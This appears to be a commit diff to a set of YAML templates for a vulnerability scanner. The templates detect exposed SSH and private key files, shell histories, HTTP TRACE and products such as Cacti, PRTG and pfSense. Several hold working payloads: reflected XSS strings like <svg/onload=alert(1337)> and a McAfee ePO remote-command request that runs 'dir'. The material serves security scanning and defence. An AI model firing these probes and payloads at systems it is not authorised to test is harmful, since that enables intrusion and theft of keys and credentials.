- "{{BaseURL}}/key.pem"
- "{{BaseURL}}/id_rsa"
- "{{BaseURL}}/id_dsa"
- "{{BaseURL}}/.ssh/id_rsa"
- "{{BaseURL}}/.ssh/id_dsa"
- "{{BaseURL}}/{{Hostname}}.key"
- "{{BaseURL}}/{{Hostname}}.pem"
matchers-condition: and
matchers:
- type: word
words:
- "BEGIN OPENSSH PRIVATE KEY"
- "BEGIN PRIVATE KEY"
- "BEGIN RSA PRIVATE KEY"
- "BEGIN DSA PRIVATE KEY"
- "BEGIN EC PRIVATE KEY"
condition: or
- type: status
status:
- 200
+5 -3
View File
@@ -2,9 +2,9 @@ id: shell-history
info:
name: Shell History
author: pentest_swissky
author: pentest_swissky & geeknik
severity: low
description: Discover history for bash and zsh file.
description: Discover history for bash, ksh, sh, and zsh
requests:
- method: GET
@@ -12,6 +12,8 @@ requests:
max-redirects: 5
path:
- "{{BaseURL}}/.bash_history"
- "{{BaseURL}}/.ksh_history"
- "{{BaseURL}}/.sh_history"
- "{{BaseURL}}/.zsh_history"
matchers-condition: and
@@ -21,4 +23,4 @@ requests:
- "chmod "
- type: status
status:
- 200
- 200
+1 -2
View File
@@ -21,6 +21,5 @@ requests:
- type: word
words:
- "application/json"
- "text/html"
part: header
negative: true
+1 -2
View File
@@ -27,6 +27,5 @@ requests:
- type: word
words:
- "application/json"
- "text/html"
part: header
negative: true
+32
View File
@@ -0,0 +1,32 @@
id: HTTP-TRACE
info:
name: HTTP TRACE method enabled
author: nodauf
severity: info
# References:
# - https://www.blackhillsinfosec.com/three-minutes-with-the-http-trace-method/
requests:
- method: TRACE
path:
- "{{BaseURL}}/"
matchers:
- type: word
name: trace-request
words:
- "TRACE / HTTP"
part: body
- method: OPTIONS
path:
- "{{BaseURL}}/"
matchers:
- type: regex
name: options-request
regex:
- "(?i)Allow: [A-Z,]*TRACE"
part: header
File renamed without changes.
File renamed without changes.
@@ -0,0 +1,19 @@
id: identityguard-selfservice-entrust
info:
name: IdentityGuard Self-Service by Entrust
author: nodauf
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/IdentityGuardSelfService/"
- "{{BaseURL}}/IdentityGuardSelfService/images/favicon.ico"
redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- "contains(body_1,'IdentityGuard Self-Service') || (\"-1060264737\" == mmh3(base64_py(body_2)))"
+14
View File
@@ -0,0 +1,14 @@
id: oipm-detect
info:
name: One Identity Password Manager detection
author: nodauf
severity: info
requests:
- method: GET
path:
- '{{BaseURL}}/PMUser/'
matchers:
- type: word
words:
- "One Identity Password Manager"
+4 -4
View File
@@ -16,7 +16,7 @@ requests:
- "/dana-na/auth/welcome.cgi"
part: header
- type: word
words:
- "/dana-na/css/ds.css"
part: body
- type: regex
regex:
- "(?i)/dana-na/css/ds(_[a-f0-9]{64})?.css"
part: body
+35
View File
@@ -0,0 +1,35 @@
id: cacti-detect
info:
name: Detect Cacti
author: geeknik
description: Cacti is a complete network graphing solution -- https://www.cacti.net/
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/cacti/"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "Login to Cacti"
- "The Cacti Group"
condition: and
- type: regex
part: header
regex:
- Cacti+
extractors:
- type: kval
part: header
kval:
- Set-Cookie
+10 -7
View File
@@ -4,13 +4,12 @@ info:
name: favicon-detection
severity: info
author: un-fmunozs
# Reference:-
# https://twitter.com/brsn76945860/status/1171233054951501824
# https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
# https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
# https://github.com/devanshbatham/FavFreak
# https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
reference: |
- https://twitter.com/brsn76945860/status/1171233054951501824
- https://gist.github.com/yehgdotnet/b9dfc618108d2f05845c4d8e28c5fc6a
- https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139
- https://github.com/devanshbatham/FavFreak
- https://github.com/sansatart/scrapts/blob/master/shodan-favicon-hashes.csv
requests:
- method: GET
@@ -2021,3 +2020,7 @@ requests:
name: "dvr"
dsl:
- "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))"
- type: dsl
name: "One Identity Password Manager"
dsl:
- "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))"
+25
View File
@@ -0,0 +1,25 @@
id: mrtg-detect
info:
name: Detect MRTG
author: geeknik
description: The Multi Router Traffic Grapher -- https://oss.oetiker.ch/mrtg/
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/"
- "{{BaseURL}}/mrtg/"
- "{{BaseURL}}/MRTG/"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "MRTG Index Page"
- "Multi Router Traffic Grapher"
condition: and
+35
View File
@@ -0,0 +1,35 @@
id: prtg-detect
info:
name: Detect PRTG
author: geeknik
description: Monitor all the systems, devices, traffic, and applications in your IT infrastructure -- https://www.paessler.com/prtg
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/index.htm"
- "{{BaseURL}}/prtg/index.htm"
- "{{BaseURL}}/PRTG/index.htm"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
part: body
words:
- "PRTG Network Monitor"
condition: and
- type: regex
part: header
regex:
- PRTG
extractors:
- type: kval
part: header
kval:
- Server
+10 -1
View File
@@ -2731,4 +2731,13 @@ requests:
name: awselb
regex:
- 'awselb'
part: header
part: header
- type: word
name: pfsense
words:
- "Login to pfSense"
- "<title>pfSense - Login</title>"
- "maintained by Netgate"
part: body
condition: and
@@ -20,3 +20,7 @@ requests:
words:
- "<script>alert(document.cookie)</script>"
part: body
- type: word
words:
- "text/html"
part: header
+34
View File
@@ -0,0 +1,34 @@
id: mcafee-epo-rce
info:
name: McAfee ePolicy Orchestrator RCE
author: dwisiswant0
severity: high
description: |
A ZipSlip vulnerability in McAfee ePolicy Orchestrator (ePO)
is a type of Path Traversal occurring when archives are unpacked
if the names of the packed files are not properly sanitized.
An attacker can create archives with files containing “../” in their names,
making it possible to upload arbitrary files
to arbitrary directories or overwrite existing ones during archive extraction.
References:
- https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/
requests:
- method: GET
path:
- "{{BaseURL}}/stat.jsp?cmd=chcp+437+%7c+dir"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "text/html"
part: header
- type: regex
regex:
- "Volume (in drive [A-Z]|Serial Number) is"
part: body
+5 -1
View File
@@ -21,4 +21,8 @@ requests:
- type: word
words:
- <svg/onload=alert(document.domain)>
part: body
part: body
- type: word
words:
- "text/html"
part: header
+5 -1
View File
@@ -20,4 +20,8 @@ requests:
- type: word
words:
- "<script>alert(31337)</script>"
part: body
part: body
- type: word
words:
- "text/html"
part: header
+4
View File
@@ -22,3 +22,7 @@ requests:
words:
- '"><script>confirm(document.domain)</script>'
part: body
- type: word
words:
- "text/html"
part: header
+6 -1
View File
@@ -9,8 +9,13 @@ requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/wordfence/lib/diffResult.php?file=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E"
matchers-condition: and
matchers:
- type: word
words:
- "<svg/onload=alert(1337)>"
part: body
part: body
- type: word
words:
- "text/html"
part: header
+1
View File
@@ -20,6 +20,7 @@ workflows:
- template: cves/CVE-2019-8442.yaml
- template: cves/CVE-2019-8449.yaml
- template: cves/CVE-2019-8451.yaml
- template: cves/CVE-2019-11581.yaml
- template: cves/CVE-2020-14179.yaml
- template: cves/CVE-2020-14181.yaml
- template: security-misconfiguration/jira-service-desk-signup.yaml